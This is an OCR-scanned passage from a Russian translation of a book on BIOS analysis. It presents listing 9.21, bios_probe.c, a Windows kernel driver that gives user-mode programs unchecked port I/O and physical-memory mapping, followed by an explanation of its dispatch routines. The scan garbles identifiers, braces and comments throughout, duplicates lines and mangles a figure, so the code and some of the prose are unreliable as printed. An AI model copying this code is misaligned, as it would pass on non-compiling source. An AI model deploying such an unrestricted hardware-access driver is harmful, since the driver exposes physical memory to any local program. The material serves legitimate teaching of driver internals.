В листинге 9.20 объявляется еще одна структура данных — device_extension. Грубо говоря, device_extension служит хранилищем для глобальных переменных драйвера, т. е. переменных, которые должны сохранять свое значение в течение всего времени работы драйвера.
Функции, объявленные в листинге 9.20, реализованы в файле bios probe.c, который показан в листинге 9.21.
Листинг 9.2 U Файл bios_probe.c
/*++
Module Name: bios_probe.c
Краткое описание: Основной файл драйвера устройства утилиты для анализа BIOS
^втор; Darmawan Salihun (Aug. 27, 2006)
Среда исполнения: Режим ядра
*2 г,
° Данном контексте экспортируемое имя — это имя объекта, являющегося частью пространства имен Windows2000/XP. Приложение пользовательского режима может видеть" это имя и использовать его.
История обновлений:
Основан на первоначальном примере CancelSafelrq для Win_XP DDK, созданном Илайей Якубом (Eliyas Yakub)
(27 августа 2006г) драйвер устройств для анализа BIOS, Создан Дармаваном Салиханом (Darmawan Salihun)
(9 сентября 2006г) Архитектура драйвера устройства переделана, чтобы драйвер мог выполнять операцию отображения диапазона 256 MIMO. Добавлены систематические комментарии.
Нужно сделать:
Добавить подпрограммы для проверки, не перекрывает ли затребованный диапазон адресов выделенную в настоящее время область mapZone в расширении устройства. Сделать это в функции MapMmio.
#include "bios_probe.h"
#include <devioctl.h>
#include "../interfaces.h"
NTSTATUS DriverEntry( IN PDRIVER_OBJECT Driverobject, IN PUNICODE_STRING RegistryPath )
Описание подпрограммы:
Точка входа инициализации устанавливаемого драйвера.
Эта точка входа вызывается напрямую системой ввода-вывода.
Аргументы:
Driverobject — Указатель на объект драйвера.
registryPath — Указатель на строку в кодировке Unicode,
представляющей путь к специальному ключу драйвера в реестре.
Возвращаемое значение
STATUS_SUCCESS при успешном завершении, STATUS_UNSUCCESSFUL - в противном случае.
— */
(
^status unicode_string UNICODE_STRING pdevice_object^status unicode_string UNICODE_STRING pdevice_objectStatus = STATUS_SUCCESS; unicodeDeviceName;
^status unicode_string UNICODE_STRING pdevice_object
^status unicode_string UNICODE_STRING pdevice_object
unicodeDosDeviceName; deviceobject;
PDEVICE_EXTENSION pDevExt;
ULONG
UNREFERENCED-PARAMETER (RegistryPath);
BIOS_PROBE_KDPRINT(("DriverEntry Enter \n"));
DriverObject->DriverUnload = DispatchUnload;
DriverObject->MajorFunction[IRP_MJ_CREATE]= DispatchCreate; DriverObject->MajorFunction[IRP_MJ_CLOSE] = Dispatchclose; DriverObject->MajorFunct ion[IRP_MJ_READ] = DispatchRead; DriverObject->MajorFunction[IRP_MJ_WRITE] = DispatchWrite; DriverObject->MajorFunction[IRP_MJ_DEVICE-CONTROL] =
DispatchloControl;
(void) RtlInitUnicodeString( &unicodeDeviceName, BIOS_PROBE_DEVICE_NAME_U);
status = loCreateDevice( Driverobject, sizeof (DEVICE_EXTENSION)‘, &unicodeDeviceName, FILE_DEVICE_UNKNOWN, 0, (BOOLEAN) FALSE, &deviceObj ect );
if (!NT_SUCCESS(status)) (
return status;
DbgPrint("Deviceobject %p\n", deviceobject);
11
// Устанавливаем флаг, указывающий прямой ввод-вывод.
// Это заставляет Windows заблокировать пользовательский // буфер в памяти при доступе к нему.
И
deviceObject->Flags |= DO_DIRECT_IO;
И
П Выделить память для строки Unicode содержащей имя
// Win32 для устройства.
И
(void)RtllnitUnicodeString( kunicodeDosDeviceName,
BIOS_PROBE_DOS_DEVICE_NAME_U );
status = IoCreateSymbolicLink((PUNICODE_STRING)kunicodeDosDeviceName,
(PUNICODE_STRING) kunicodeDeviceName ) ;
if (!NT_SUCCESS(status))
loDeleteDevice(deviceobject);
return status;
// Инициализируем расширение драйвера. И
pDevExt = (PDEVICE_EXTENSION)deviceObject->DeviceExtension; for(i = 0; i < MAX_MAPPED_MMIO; i++) {
pDevExt->mapZone[i].sysAddrBase = NULL;
pDevExt->mapZone[i].size = 0;
pDevExt->mapZone[i].usermodeAddrBase = NULL;
pDevExt->mapZone[ij.pMdl = NULL;
BIOS_PROBE_KDPRINT(("DriverEntry Exit = %x\n", status)); return status;
NTSTATUS DispatchCreate( IN PDEVICE_OBJECT Deviceobject, IN PIRP Up )
от1от1сание подпрограммы:сание подпрограммы:
от1
от1
сание подпрограммы:
сание подпрограммы:
посылаемых этому устройству.посылаемых этому устройству.Процесс для создания пакетов IRP
посылаемых этому устройству.
посылаемых этому устройству.
Единственное, что делает эта подпрограмма, это сообщает об успешной обработке пакета IRP.
дрГУМенты •
Deviceobject — Указатель на объект устройства.
irp - Указатель на пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
{
NTSTATUSstatus = STATUS_SUCCESS;
BIOSJPROBE—KDPRINT(("DispatchCreate Enter\n"));
H
И Рабочая процедура для IRP_MJ_CREATE вызывается при
// создании файлового объекта, сопоставленного устройству.
// Типично это происходит при вызове CreateFile О пользовательской
// программой или когда другой драйвер загружается поверх
// этого драйвера. Драйвер должен предоставить рабочую
// процедуру для IRP_MJ_CREATE.
U
BIOS_PROBE_KDPRINT(("IRP_MJ_CREATE\n"));
Irp->IoStatus.Information = 0;
И
И Сохраняем статус для возвращения и завершаем обработку пакета IRP.
П
lrp->IoStatus.Status = status;
loConpleteRequest(Irp, IO_NO_INCREMENT);
BIOS_PROBE_KDPRINT((" DispatchCreate Exit = %x\n", status));
return status;
13 T
input/output request packet — пакет запроса ввода-вывода (структура данных дисПетчера ввода-вывода, используемая в процессах его взаимодействия с драйверами и Драйверов друг с другом).
}
NTSTATUS ReadPortByte(PIRP plrp) /*++ Описание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_READ_PORT_BYTE. Подпрограмма считывает байт с назначенного порта и возвращает значение пользовательскому приложению через указатель на заблокированный пользовательский буфер в пакете IRP.
Аргументы: plrp - Указатель на пакет IRP.
Возвращаемое значение:
Код статуса Windows NT — */ {
NTSTATUS status = STATUS_SUCCESS;
IO_BYTE* pUsermodeMem = (IO_BYTE*) MmGetSystemAddressForMdlSafe ( plrp->MdlAddress, NormalPagePriority );
if( NULL != pUsermodeMem) { asm {
pushad
Л
Сохраняем содержимое
H
всех регистров.
mov ebx, pUsermodeMem
Л
Создаем регистр указателя на
Л
память пользовательского режима.
mov dx, [ebx].ports
ill
Получаем адрес порта ввода.
in al, dx
Л
Считываем один байт из
//
этого устройства.
mov [ebx].values, al
Л
Записываем результат исследования
H
непосредственно в память
Л
пользовательского режима.
popad
•л
Восстанавливаем все ранее
}
H
сохраненные значения регистров.
} else {
status = STATUS_INVALID_USER_BUFFER;
}
return status;
)
^STATUS ReadPortWord (PIRP plrp)
/*++
описание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_READ_PORT_WORD. Подпрограмма считывает слово с указанного порта и возвращает значение пользовательскому приложению через указатель на заблокированный буфер Пользовательского режима в пакете IRP.
Аргументы:
plrp — Указатель на пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
NTSTATUS status = STATUS—SUCCESS;
I0_WORD* pUsermodeMem = (IO_WORD*) MmGetSystemAddressForMdlSafe( p!rp->MdlAddress, NormalPagePriority ) ;
if( NULL != pUsermodeMem) {
asm
{
pushad
;//
Сохраняем содержимое всех регистров.
mov ebx, pUsermodeMem
;//
Создаем регистр указателя на
;//
память пользовательского режима.
mov dx, [ebx].portl6
;//
Получаем адрес порта ввода.
in al, dx
;M
Считываем байты из этого устройства.
mov [ebx].value16, ax
ill
Записываем результат исследования
//
непосредственно в память
;//
пользовательского режима.
popad
;//
Восстанавливаем все ранее сохраненные
//
значения регистров.
}
status = STATUS_INVALID_USER_BUFFER; } return status;
NTSTATUS ReadPortLong(PIRP plrp) /*++
Описание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_READ_PORT_LONG. Подпрограмма считывает двойное слово с указанного порта и возвращает значение приложению пользовательского режима через указатель на заблокированный буфер пользовательского режима в пакете IRP.
Аргументы:
plrp — Указатель на пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
NTSTATUS status = STATUS_SUCCESS;
IO_LONG* pUsermodeMem = (IO_LONG*) MnGetSystemAddressForMdlSafe( plrp- ▻MdlAddress, NormalPagePriority );
if ( NULL ! = pUsermodeMem) {
asm
{
pushad
//
Сохраняем содержимое всех регистров.
mov ebx, pUsermodeMem
//
Создаем регистр указателя на
//
память пользовательского режима.
mov dx, [ebx].port32
//
Получаем адрес порта ввода.
in eax, dx
//
Считываем байты из этого устройства.
mov [ebx].value32, eax
//
Записываем результат исследования
//
непосредственно в память
//
пользовательского режима.
popad
//
Восстанавливаем все ранее сохраненные
// значения регистров. }
status = STATUS_INVALID_USER_BUFFER;
return status;
•^STATUS WritePortByte(PIRP plrp)
Описание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_WRITE_PORT_BYTE.
Эта подпрограмма записывает один байт в указанный порт.
Значение байта и адрес порта получаются через
указатель на заблокированный пользовательский буфер в пакете IRP.
Аргументы:
plrp — Указатель на пакет IRP.
вбзвращаемое значение:
Код статуса Windows NT
NTSTATUS status = STATUS_SUCCESS;
IO_BYTE* pUsermodeMem = (IO_BYTE*) MmGetSystemAddressForMdlSafe( p!rp->MdlAddress, NormalPagePriority);
i f ( NULL ! = pUsermodeMem)
{
asm
{ pushad
// Сохраняем содержимое всех регистров
mov ebx, pUsermodeMem
// Создаем регистр указателя на
// память пользовательского режима.
mov dx, [ebx].ports
// Получаем адрес порта ввода.
mov al, [ebx].valued
// Считываем значение для записи
// непосредственно из памяти
// пользовательского режима.
out dx, al popad
// Записываем байт в устройство.
// Восстанавливаем все ранее
// сохраненные значения регистров.
status = STATUS_INVALID_USER_BUFFER;
return status;
}
NTSTATUS WritePortWord(PIRP plrp) /*++
Описание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_WRITE_PORT_WORD.
Эта подпрограмма записывает одно слово в указанный порт.
Значение слова и адрес порта получаются через
указатель на заблокированный пользовательский буфер в пакете IRP.
Аргументы: plrp — Указатель на пакет IRP.
Возвращаемое значение: Код статуса Windows NT
NTSTATUS status = STATUS_SUCCESS;
IO_WORD* pUsermodeMem = (IO_WORD*) MmGetSystemAddressForMdlSafe ( p!rp->MdlAddress, NormalPagePriority );
if( NULL ! = pUsermodeMem) { asm {
pushad
// Сохраняем содержимое всех регистров.
mov ebx,
pUsermodeMem // Создаем регистр указателя на
// память пользовательского режима
mov dx,
[ebx],portl6 // Получаем адрес порта ввода.
mov ax,
[ebx].value16 // Считываем значение для записи // непосредственно из памяти // пользовательского режима.
out dx, popad
ах// Записываем байты в устройство.
// Восстанавливаем все ранее
// сохраненные значения регистров.
}
status = STATUS_INVALID_USER_BUFFER;
}
return status;
^STATUS WritePortLong(PIRP plrp)
Списание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_WRITE_PORT_LONG.
Эта подпрограмма записывает двойное слово в указанный порт.
Значение двойного слова и адрес порта получаются через
указатель на заблокированный пользовательский буфер в пакете IRP.
Аргументы:
plrp — Указатель на пакет IRP.
возвращаемое значение:
Код статуса Windows NT
-*/ {
NTSTATUS status = STATUS_SUCCESS;
IO_LONG* pUsermodeMem = (IO_LONG*) MmGetSystemAddressForMdlSafe( pIrp->MdlAddress, NormalPagePriority );
if( NULL ! = pUsermodeMem) { asm
{
pushad
// Сохраняем содержимое всех регистров.
mov ebx, pUsermodeMem // Создаем регистр указателя на
// память пользовательского режима
mov dx, [ebx].
port32// Получаем адрес порта ввода.
mov eax, [ebx]
.value32// Считываем значение для записи
// непосредственно из памяти
// пользовательского режима.
out dx, eax
// Записываем байты в устройство.
popad
// Восстанавливаем все ранее
}
// сохраненные значения регистров.
status = STATUS_INVALID_USER_BUFFER; } return status;
NTSTATUS MapMmio(PDEVICE_OBJECT pDO, PIRP plrp) /*++
Описание подпрограммы:
Обрабатываем пакеты IRP с кодом IOCTL_MAP_MMIO.
Эта подпрограмма отображает адресное пространство приложения пользовательского режима на физический диапазон адресов.
Аргументы:
pDO — Указатель на объект устройства этого драйвера.
plrp — Указатель на пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
ПРИМЕЧАНИЕ:
Эта функция может отображать адреса приложения пользовательского режима только на первые 4 ГБ физических адресов.. — */ {
PDEVICE_EXTENSION pDevExt;
PHYSICAL_ADDRESS phyAddr;
PMMIO_MAP pUsermodeMem;
ULONG i, free_idx;
pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
//
// Проверяем на наличие свободной mapZone в расширении устройства.
// Если таковой не имеется, возвращаем код ошибки.
И
for(i = 0; i < MAX_MAPPED_MMIO; i++) {
if( pDevExt->mapZone[i].sysAddrBase == NULL ) {
free_idx = i;
break; } ) if( i == MAX_MAPPED_MMIO ) ( return STATUS_INVALID_DEVICE_REQUEST;
}
//
// Нашли свободную mapZone; выполняем отображение. // pUsermodeMem = (MMIO_MAP*) MmGetSystemAddressForMdlSafe( plrp->MdlAddress, NormalPagePriority ); if( NULL == pUsermodeMem) { return STATUS_INVALID_USER_BUFFER;
)
phyAddr.HighPart = 0;
phyAddr.LowPart = pUsermodeMem->phyAddrStart;
pDevExt->mapZone[free_idx].sysAddrBase = MmMapIoSpace( phyAddr, pUsermodeMem->size, MmNonCached);
if(NULL == pDevExt->mapZone[free_idx].sysAddrBase) { return STATUS_BUFFER_TOO_SMALL;
)
pDevExt->mapZone[free_idx].pMdl = loAllocateMdl(
pDevExt->mapZone[free_idx].sysAddrBase, pUsermodeMem->size, FALSE, FALSE, NULL);
if(NULL == pDevExt->mapZone[free_idx].pMdl) {
MmUnmapIoSpace( pDevExt->mapZone[free_idx].sysAddrBase, pUsermodeMem->size) ;
pDevExt->mapZone[free_idx].sysAddrBase = NULL;
return STATUS_BUFFER_TOO_SMALL;
PDevExt->mapZone[free_idx].size = pUsermodeMem->size;
// Отображаем системные виртуальные адреса на // виртуальные адреса пользовательского режима.
И
MmBuildMdlForNonPagedPool(pDevExt->mapZone[free_idx].pMdl);
pDevExt->mapZone[free_idx].usermodeAddrBase =
MmMapLockedPagesSpecifyCache( pDevExt->mapZone[free_idx].pMdl, UserMode, MmNonCached, NULL, FALSE, NormalPagePriority);
if(NULL == pDevExt->mapZone[free_idx].usermodeAddrBase) {
loFreeMdl(pDevExt->mapZone[free_idx].pMdl);
MmUnmapIoSpace(pDevExt->mapZone[free_idx].sysAddrBase, pDevExt->mapZone[free_idx].size);
pDevExt->mapZone[free_idx].sysAddrBase = NULL;
pDevExt->mapZone[free_idx].size = 0;
return STATUS_BUFFER_TOO_SMALL; )
// Копируем полученные виртуальные адреса
// пользовательского режима в буфер IRP.
pUsermodeMem->usennodeVirtAddr =
pDevExt->mapZone[free_idx].usermodeAddrBase;
return STATUS_SUCCESS;
NTSTATUS CleanupMmioMapping(PDEVICE_EXTENSION pDevExt, ULONG i) /*++
Описание подпрограммы:
Эта функция очищает за функцией отображения диапазона адресов MMI0 и освобождает используемые ей ресурсы.
Аргументы:
pDevExt — Указатель на расширение устройства этого драйвера.
i — Индекс области mapZone, которую нужно очистить.
Возвращаемое значение:
Код статуса Windows NT
— */ {
if( NULL != pDevExt->mapZone[i].usermodeAddrBase )
{
MmUnmapLockedPages( pDevExt->mapZone[ i ] .usermodeAddrBase, pDevExt->mapZone[i].pMdl);
pDevExt->mapZone[i].usermodeAddrBase = NULL;
}
if( NULL ! = pDevExt->mapZone[i].pMdl ) (
IoFreeMdl(pDevExt->mapZone[ i ] .pMdl); pDevExt->mapZone[i].pMdl = NULL;
}
if( NULL ! = pDevExt->mapZone[i].sysAddrBase )
(
MmUnmapIoSpace( pDevExt->mapZone[ i ] .sysAddrBase, pDevExt->mapZone[i].size);
pDevExt->mapZone[i].sysAddrBase = NULL;
pDevExt->mapZone[i].size = 0;
)
return STATUS_SUCCESS;
NTSTATUS UnmapMmio(PDEVICE_OBJECT pDO, PIRP plrp) /*++
Описание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_UNMAP_MMIO. Отменяет ранее выполненное отображение диапазона физических адресов на виртуальные адреса.
Аргументы:
pDO — Указатель на объект устройства этого драйвера.
Plrp — Указатель на пакет IRP.
возвращаемое значение:
Код статуса Windows NT
ПРИМЕЧАНИЕ:
Эта функция может удалять отображения
только в пределах первых 4 ГБ.
{
PDEVICE_EXTENSION pDevExt;
PMMIO_MAP pMmioMap;
ULONG i;
II
// Удаляем отображение указанной области на системное адресное
// пространство и обновляем данные расширения устройства.
//
pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
pMmioMap = (PMMIO_MAP) MmGetSystemAddressForMdlSafe( pIrp->MdlAddress, NormalPagePriority );
for(i = 0 ; i < MAX_MAPPED_MMIO; i++) {
i f(pDevExt->mapZone[i].usermodeAddrBase == pMmioMap- >usermodeVi rtAddr)
{
Cl eanupMmioMapping (pDevExt, i);
break;
}
}
return STATUS_SUCCESS;
}
NTSTATUS DispatchloControl( IN PDEVICE_OBJECT pDO, IN PIRP plrp ) /*++
Описание подпрограммы:
Рабочая процедура кода IOCTL.
Аргументы:
Deviceobject — Указатель на объект устройства.
Irp - Указатель на текущий пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack = loGetCurrentlrpStackLocation(pIrp);
switch(irpStack->Parameters.DeviceloControl.loControlCode) {
case IOCTL_READ_PORT_BYTE:
{
if(irpStack->Parameters-DeviceloControl.InputBufferLength >= sizeof(IO_BYTE)) {
status = ReadPortByte(plrp);
) else { status = STATUS_BUFFER_TOO_SMALL;
)
}break;
case IOCTL_READ_PORT_WORD:
{
if(irpStack->Parameters-DeviceloControl.InputBufferLength >= sizeof(IO_WORD)) {
status = ReadPortWord(plrp);
) else { status = STATUS_BUFFER_TOO_SMALL;
}
} break;
case IOCTL_READ_PORT_LONG:
(
if(irpStack->Parameters-DeviceloControl.InputBufferLength >= sizeof(IO_LONG)) {
status = ReadPortLong(pIrp);
} else { Status = STATUS_BUFFER_TOO_SMALL;
}
} break;
case IOCTL_WRITE_PORT_BYTE:
(
if(irpStack-Parameters-DeviceloControl.InputBufferLength >= sizeof(IO_BYTE)) {
status = WritePortByte(pIrp);
} else {
status = STATUS_BUFFER_TOO_SMALL;
}
} break;
case IOCTL_WRITE_PORT_WORD:
{
if(irpStack->Parameters.DeviceloControl.InputBufferLength >= sizeof(IO_WORD)) {
status = WritePortWord(plrp);
} else {
Status = STATUS_BUFFER_TOO_SMALL;
}
} break;
case IOCTL_WRITE_PORT_LONG:
{
if(irpStack->Parameters.DeviceloControl.InputBufferLength >= sizeof(IO_LONG)) {
status = WritePortLong(pIrp);
} else {
status = STATUS_BUFFER_TOO_SMALL;
}
} break;
case IOCTL_MAP_MMIO:
{
if( irpStack->Parameters.DeviceloControl.InputBufferLength >= sizeof(MMIO_MAP)) {
status = MapMmio(pDO, plrp);
} else {
status = STATOS_BUFFER_TOO_SMALL;
}
} break;
case IOCTL_UNMAP_MMIO:
{
if(irpStack->Parameters.DeviceloControl.InputBufferLength >= sizeof(MMIO_MAP)) {
status = UnmapMmio(pDO, plrp); } else {
Status = STATUS_BUFFER_TOO_SMALL;
} } break;
default: { status = STATUS_INVALID_DEVICE_REQUEST; }break;
)
П
(I Завершаем обработку запроса ввода-вывода
II и возвращаем соответствующее значение.
//
pIrp->IoStatus.Status = status;
// Устанавливаем количество байтов, которые необходимо // скопировать в приложение пользовательского режима, if(status == STATUS_SUCCESS) {
pIrp->IoStatus.Information =
irpStack->Parameters.DeviceloControl.OutputBufferLength;
}
else
{
pIrp->IoStatus.Information = 0;
}
loConpleteRequest ( plrp, IO_NO_INCREMENT );
return status;
^STATUS DispatchRead( IN PDEVICE_OBJECT pDO, IN PIRP plrp ) /*++ '
Описание подпрограммы:
Рабочая процедура чтения.
Аргументы:
Deviceobject — Указатель на объект устройства.
Irp - Указатель на текущий пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
Примечание:
Функция ничего не делает. Она просто служит "меткой-заполнителем" для нужд кода пользовательского режима для открытия драйвера с параметром GENERIC_READ.
{
U Сразу же завершаем запрос ввода-вывода.
plrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
loCompleteRequest( plrp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
NTSTATUS DispatchWrite( IN PDEVICE_OBJECT pDO, IN PIRP plrp ) /*++
Описание подпрограммы:
Рабочая процедура записи.
Аргументы:
Deviceobject — Указатель на объект устройства.
Irp - Указатель на текущий IRP
Возвращаемое значение:
Код статуса Windows NT
Примечание:
Функция ничего не делает. Она просто служит "меткой-заполнителем" для нужд кода пользовательского режима для открытия драйвера с параметром GENERIC_WRITE.
— */ {
// Просто немедленно завершаем запрос ввода-вывода. pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
loCompleteRequest( plгр, IO_NO_INCREMENT );
return STATUS—SUCCESS;
^STATUS
DispatchClose(
IN PDEVICE_OBJECT Deviceobject,
IN PIRP Irp
)
/*++
Описание подпрограммы:
Процесс закрытия пакетов IRP, посланных этому устройству.
Аргументы:
Deviceobject — Указатель на объект устройства.
Irp — Указатель на пакет IRP.
Возвращаемое значение:
Код статуса Windows NT
Примечание:
Функция удаляет отображение областей MMIO, которые не были удалены глючным приложением пользовательского режима.
-*/
(
PDEVTCE_EXTENSION pDevExt;
ULONGi;
NTSTATUSstatus = STATUS-SUCCESS;
BIOS_PROBE_KDPRINT(("DispatchClose Enter\n"));
PDevExt = DeviceObject->DeviceExtension ;
//
// Убираем установленные отображения областей MMIO на случай, // если приложение пользовательского режима забыло вызвать // UnmapMmio для каких-либо областей MMIO.
И
for(i = 0; i < MAX_MAPPED_MMIO; i++)
{
i f(pDevExt->mapZone[ i ] .sysAddrBase != NULL) {
CleanupMmioMapping(pDevExt, i);
}
II
// Рабочая функция IRP_MJ_CLOSE вызывается при удалении
// из системы файлового объекта, открытого на драйвере. То есть все // дескрипторы файлового объекта закрываются и значение счетчика // экземпляров файлового объекта устанавливается равным нулю.
И
BIOS_PROBE_KDPRINT(("IRP_MJ_CLOSE\n"));
Irp->IoStatus.Information = 0;
И
I/ Сохраняем статус для возвращения и
U завершаем обработку пакета IRP.
И
Irp->IoStatus.Status = status;
loCompleteRequest(Irp, IO_NO_INCREMENT);
BIOS_PROBE_KDPRINT((" Dispatchclose Exit = %x\n", status));
return status; }
VOID
DispatchUnload( IN PDRIVER_OBJECT Driverobject ) /*++
Описание подпрограммы:
Освобождаем все назначенные ресурсы и прочая зачистка.
Аргументы:
Driverobject — Указатель на объект драйвера.
Возвращаемое значение:
VOID
—*/ {
PDEVICE_OBJECT deviceobject = DriverObject->DeviceObject;
UNICODE_STRING uniWin32NameString;
BIOS_PROBE_KDPRINT(("DispatchUnload Enter\n"));
//
// Создаем строку с подсчетом (counted string version)
// имени устройства Win32.
//
RtllnitUnicodeString( &uniWin32NameString, BIOS_PROBE_DOS_DEVICE_NAME_U );
IoDeleteSyrribolicLink( &uniWin32NameString );
ASSERT(!deviceObject->AttachedDevice);
loDeleteDevice( deviceobject );
BIOS_PROBE_KDPRINT((" DispatchUnload Exit \n")); return;
Рассмотрим функции, определенные в листинге 9.21, каждую по отдельности. Функция DriverEntry исполняется, когда Windows загружает драйвер устройства в память. Первое действие, которое выполняет данная функция — это установка указателей функций для "сервисов" драйвера, как показано в листинге 9.22.
Установка указателей функций для "сервисов” драйвера
DriverObject->DriverUnload = DispatchUnload;
OriverObject->MajorFunction[IRP_MJ_CREATE]= DispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = Dispatchclose; OriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; DriverObject->MajorFunction[IRP_MJ_WRITE] = Dispatchwrite; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
14 В14 ВDispatchloControl;
14 В
14 В
В этом фрагменте кода (листинг 9.22) переменная Driverobject — это уКаза тель на объект драйвера для bios_probe. Он передается драйверу ядрОк1 Windows при инициализации драйвера ядром. Нужно инициализировать це сколько указателей функций. Мы видели, что указатели функций-членов объекта драйвера инициализируются таким образом, чтобы они указывали на функции, которые были объявлены перед этим в заголовочном файле. ца пример, член Driverunload объекта драйвера инициализируется указателем на функцию DispatchUnload. Функция DriverUnload исполняется, когда драйвер выгружается из памяти. Чтобы драйвер устройства мог работать этот указатель на функцию должен быть инициализирован. Следующая переменная, MajorFunction, представляет собой массив для членов объекта драйвера. В этом массиве хранятся указатели на функции, которые обрабатывают пакеты IRP. Как только элементы этого массива будут инициализированы, диспетчер ввода-вывода будет передавать необходимые пакеты IRP в соответствующие функции в драйвере bios_probe по запросам от приложения пользовательского режима, обращающегося к драйверу за требующимися ему сервисами. Например, когда приложение пользовательского режима вызывает функцию API CreateFile, чтобы открыть дескриптор драйвера, драйвер обслуживает этот вызов функцией, на которую указывает член MajorFunction [IRP_MJ_CREATE] объекта Драйвера, Т. е. функцией DispatchCreate. При вызове пользовательским приложением функции API closeHandie, оно передает этой функции в качестве входного параметра дескриптор драйвера bios_probe, который оно получило в предыдущем вызове функции API createFile. Драйвер обслуживает этот вызов функцией, на которую указывает член MajorFunction[irp_mj_close] объекта драйвера bios_probe, т. е. функцией Dispatchclose. Что же касается функции, на которую указывает член MajorFunction [irp_mj_read] объекта драйвера, то она вызывается, когда приложение пользовательского режима вызывает функцию API ReadFiie и передает ей дескриптор драйвера bios_probe. Кроме того, функция DispatchWrite обрабатывает ВЫЗОВ функции API WriteFile, а функция DispatchioControl обрабатывает вызов функции API DeviceioControi. Обратите внимание, что каждый указатель на функцию, являющийся членом массива MajorFunction, вызывается из пользовательского режима посреДсТ' вом Windows API. В свою очередь, Windows API обращается к диспетчеру ввода-вывода. Диспетчер ввода-вывода генерирует пакет IRP, таким образом инструктируя драйвер выполнить соответствующую функцию и обслужить приложение пользовательского режима. Процесс вызова функций, на кото рые указывают члены массива MajorFunction, показан на рис. 9.4.
Чтобы приложение пользовательского режима могло открыть дескрИпТ°^ устройства, оно должно "видеть" драйвер. В Windows 2000/ХР приложен
пользовательского режима видит драйвер посредством менеджера объектов. ^бНеджер объектов — это компонент Windows 2000/ХР, который управляет объектами в операционной системе.
ФункцииWindows APIФункцииWindows API' Ядро' Ядроо j> c Ш <5 coо j> c Ш <5 coCreateFileCreateFileCloseHandleCloseHandleШШI cI cIRPIRPЯ s s X ШЯ s s X Шcc o. g Ф °cc o. g Ф °ReadFileReadFileWriteFileWriteFileDeviceloControlDeviceloControl♦*— <D m♦*— <D mДрайвер устройства, работающийв режиме ядраМассив MajorFunction►- ■ ■; -х' DispaichCreate I►—3—^DispatchClose j►j—►{ DispatchRead JДрайвер устройства, работающийв режиме ядраМассив MajorFunction►- ■ ■; -х' DispaichCreate I►—3—^DispatchClose j►j—►{ DispatchRead Jj—►PpTspa tch IV ritej—►PpTspa tch IV rite— j—► DispatchloControl\— j—► DispatchloControl\
ФункцииWindows API
ФункцииWindows API
' Ядро
' Ядро
о j> c Ш <5 co
о j> c Ш <5 co
CreateFile
CreateFile
CloseHandle
CloseHandle
Ш
Ш
I c
I c
IRP
IRP
Я s s X Ш
Я s s X Ш
cc o. g Ф °
cc o. g Ф °
ReadFile
ReadFile
WriteFile
WriteFile
DeviceloControl
DeviceloControl
♦*— <D m
♦*— <D m
Драйвер устройства, работающийв режиме ядра
Массив MajorFunction
►- ■ ■; -х' DispaichCreate I
►—3—^DispatchClose j
►j—►{ DispatchRead J
Драйвер устройства, работающийв режиме ядра
Массив MajorFunction
►- ■ ■; -х' DispaichCreate I
►—3—^DispatchClose j
►j—►{ DispatchRead J
j—►PpTspa tch IV rite
j—►PpTspa tch IV rite
— j—► DispatchloControl\
— j—► DispatchloControl\
Рис. 9.4. Вызов члена массива MajorFunctionиз приложения пользовательского режима
Все объекты, экспортированные в пространство имен менеджера объектов, видимы приложению пользовательского режима и могут быть открыты посредством функции API CreateFile. Чтобы экспортировать имя драйвера15 в пространство имен менеджера объектов, с помощью функции ядра Rtiinitunicodestring для драйвера создается Unicode-имя. Эта операция осуществляется следующим образом:
RtllnitUnicodeString(&unicodeDeviceName, BIOS_PROBE_DEVICE_NAME_U);
После этого указатель на созданное Unicode-имя передается в третьем параметре функции loCreateDevice, вызываемой при создании объекта устройстВа для драйвера. Таким образом, код приложения пользовательского режима сможет видеть драйвер. Но для того, чтобы добраться до драйвера, необхо- ^имо обойти пространство имен менеджера объектов, т. е. передать значение '^\.\\Device\\unicodeDeviceName16 В первом параметре функции CreateFile. Определение функции CreateFile приведено в листинге 9.23.
^Имя драйвера q точки зрения менеджера объектов не является именем файла драй- g Строка unicodeDeviceName является всего лишь меткой-заполнителем (placeholder), необходимо заменить настоящим именем устройства.
Листинг 9.23. Определение функции CreateFile
HANDLE CreateFile( LPCTSTR IpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES IpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTeinplateFile );
Во многих случаях, чтобы упростить приложение пользовательского режима, создается символьная ссылка. В этом отношении, драйвер bios_probe не является исключением. В листинге 9.21 имеется следующий фрагмент (листинг 9.24).
Листинг 9.24. Создание символьной ссылки (фрагмент листинга 9.21)
// Выделить и инициализировать память для строки
// Unicode содержащей имя Win32 для устройства.
И
RtllnitUnicodeString( SunicodeDosDeviceName,
BIOS_PROBE_DOS_DEVICE_NAME_U );
status = IoCreateSyiribolicLink(
(PUNICODE_STRING) SunicodeDosDeviceName, (PUNICODE_STRING) SunicodeDeviceName );
В этом фрагменте кода (листинг 9.24) создается символьная ссылка. Таким образом, функция CreateFile может открыть дескриптор устройства, передавая лишь \\\\. WunicodeDosDeviceName. Тем не менее, вопрос о том, создавать ссылку или нет, является просто делом личных предпочтений пр0' граммиста.
Функции, на которые указывает член MajorFunction объекта драйвера, име ют общий синтаксис:
NTSTATUS FunctionName ( IN PDEVICE_OBJECT pDO, IN PIRP plrp )
